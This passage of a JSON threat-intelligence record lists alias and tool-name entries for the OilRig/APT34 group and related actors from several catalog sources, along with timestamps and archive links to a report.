null, "main_name": "OilRig", "aliases": [ "COBALT GYPSY", "IRN2", "APT34", "Helix Kitten", "Evasive Serpens", "Hazel Sandstorm", "EUROPIUM", "ITG13", "Earth Simnavaz", "Crambus", "TA452" ], "source_name": "MITRE:OilRig", "tools": [ "ISMInjector", "ODAgent", "RDAT", "Systeminfo", "QUADAGENT", "OopsIE", "ngrok", "Tasklist", "certutil", "ZeroCleare", "POWRUNER", "netstat", "Solar", "ipconfig", "LaZagne", "BONDUPDATER", "SideTwist", "OilBooster", "SampleCheck5000", "PsExec", "SEASHARPEE", "Mimikatz", "PowerExchange", "OilCheck", "RGDoor", "ftp" ], "source_id": "MITRE", "reports": null }, { "id": "25896473-161f-411f-b76a-f11bb26c96bd", "created_at": "2023-01-06T13:46:38.75749Z", "updated_at": "2026-04-10T02:00:03.090307Z", "deleted_at": null, "main_name": "CHRYSENE", "aliases": [ "Greenbug" ], "source_name": "MISPGALAXY:CHRYSENE", "tools": [], "source_id": "MISPGALAXY", "reports": null }, { "id": "c786e025-c267-40bd-9491-328da70811a5", "created_at": "2025-08-07T02:03:24.736817Z", "updated_at": "2026-04-10T02:00:03.752071Z", "deleted_at": null, "main_name": "COBALT GYPSY", "aliases": [ "APT34 ", "CHRYSENE ", "Crambus ", "EUROPIUM ", "Hazel Sandstorm ", "Helix Kitten ", "ITG13 ", "OilRig ", "Yellow Maero " ], "source_name": "Secureworks:COBALT GYPSY", "tools": [ "Glimpse", "Helminth", "Jason", "MacDownloader", "PoisonFrog", "RGDoor", "ThreeDollars", "TinyZbot", "Toxocara", "Trichuris", "TwoFace" ], "source_id": "Secureworks", "reports": null }, { "id": "67709937-2186-4a32-b64c-a5693d40ac77", "created_at": "2023-01-06T13:46:38.495593Z", "updated_at": "2026-04-10T02:00:02.999196Z", "deleted_at": null, "main_name": "OilRig", "aliases": [ "Crambus", "Helix Kitten", "APT34", "IRN2", "ATK40", "G0049", "EUROPIUM", "TA452", "Twisted Kitten", "Cobalt Gypsy", "APT 34", "Evasive Serpens", "Hazel Sandstorm", "Earth Simnavaz" ], "source_name": "MISPGALAXY:OilRig", "tools": [], "source_id": "MISPGALAXY", "reports": null }, { "id": "6bba8e81-73af-4010-86dc-d43c408ca342", "created_at": "2023-01-06T13:46:38.553459Z", "updated_at": "2026-04-10T02:00:03.021597Z", "deleted_at": null, "main_name": "Greenbug", "aliases": [], "source_name": "MISPGALAXY:Greenbug", "tools": [], "source_id": "MISPGALAXY", "reports": null }, { "id": "b6436f7b-6012-4969-aed1-d440e2e8b238", "created_at": "2022-10-25T16:07:23.91517Z", "updated_at": "2026-04-10T02:00:04.788408Z", "deleted_at": null, "main_name": "OilRig", "aliases": [ "APT 34", "ATK 40", "Chrysene", "Cobalt Gypsy", "Crambus", "DEV-0861", "EUROPIUM", "Earth Simnavaz", "Evasive Serpens", "G0049", "Hazel Sandstorm", "Helix Kitten", "IRN2", "ITG13", "Scarred Manticore", "Storm-0861", "TA452", "Twisted Kitten", "UNC1860", "Yellow Maero" ], "source_name": "ETDA:OilRig", "tools": [ "AMATIAS", "Agent Drable", "Agent Injector", "AgentDrable", "Alma Communicator", "BONDUPDATER", "CACTUSPIPE", "Clayslide", "CypherRat", "DNSExfitrator", "DNSpionage", "DROPSHOT", "DistTrack", "DropperBackdoor", "Fox Panel", "GREYSTUFF", "GoogleDrive RAT", "HighShell", "HyperShell", "ISMAgent", "ISMDoor", "ISMInjector", "Jason", "Karkoff", "LIONTAIL", "LOLBAS", "LOLBins", "LONGWATCH", "LaZagne", "Living off the Land", "MailDropper", "Mimikatz", "MrPerfectInstaller", "OILYFACE", "OopsIE", "POWBAT", "POWRUNER", "Plink", "Poison Frog", "PowerExchange", "PsList", "PuTTY Link", "QUADAGENT", "RDAT", "RGDoor", "SEASHARPEE", "Saitama", "Saitama Backdoor", "Shamoon", "SideTwist", "SpyNote", "SpyNote RAT", "StoneDrill", "TONEDEAF", "TONEDEAF 2.0", "ThreeDollars", "TwoFace", "VALUEVAULT", "Webmask", "WinRAR", "ZEROCLEAR", "ZeroCleare", "certutil", "certutil.exe" ], "source_id": "ETDA", "reports": null } ], "ts_created_at": 1775434291, "ts_updated_at": 1775792256, "ts_creation_date": 0, "ts_modification_date": 0, "files": { "pdf": "https://archive.orkl.eu/cbd0c94b5a680071e4dfbf740e8513da8f295afb.pdf", "text": "https://archive.orkl.eu/cbd0c94b5a680071e4dfbf740e8513da8f295afb.txt", "img": "https://archive.orkl.eu/cbd0c94b5a680071e4dfbf740e8513da8f295afb.jpg" } }